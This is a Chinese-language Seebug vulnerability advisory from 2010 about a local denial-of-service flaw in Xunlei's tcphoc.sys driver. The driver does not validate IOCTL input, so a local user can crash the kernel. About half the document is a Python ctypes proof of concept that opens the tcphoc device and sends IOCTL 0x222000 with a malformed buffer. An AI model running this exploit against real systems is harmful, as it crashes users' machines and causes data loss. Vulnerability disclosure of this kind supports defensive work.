迅雷tcphoc.sys驱动本地拒绝服务漏洞

2010-09-07T00:00:00
ID SSV:20101
Type seebug
Reporter Root
Modified 2010-09-07T00:00:00

Description

迅雷是一款流行的P2P下载工具。

迅雷tcphoc.sys驱动没有正确地验证用户所提交的调用参数,本地用户可以通过提交恶意的IOCTL请求导致内核崩溃。

迅雷 厂商补丁:

迅雷公司

目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.xunlei.com/

                                        
                                            
                                                #!/usr/bin/python

from ctypes import *

kernel32 = windll.kernel32
Psapi = windll.Psapi

if __name__ == '__main__':
GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
OPEN_EXISTING = 0x3
CREATE_ALWAYS = 0x2

DEVICE_NAME = "\\\\.\\tcphoc"
dwReturn = c_ulong()
out_size = 1024
in_size = 1024
in_data =''
out_data =''
driver_handle1 = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE,
0, None, CREATE_ALWAYS, 0, None)
in_data=1024*'\x80'
dev_ioctl = kernel32.DeviceIoControl(driver_handle1, 0x222000, in_data,0, out_data, 0,byref(dwReturn), None)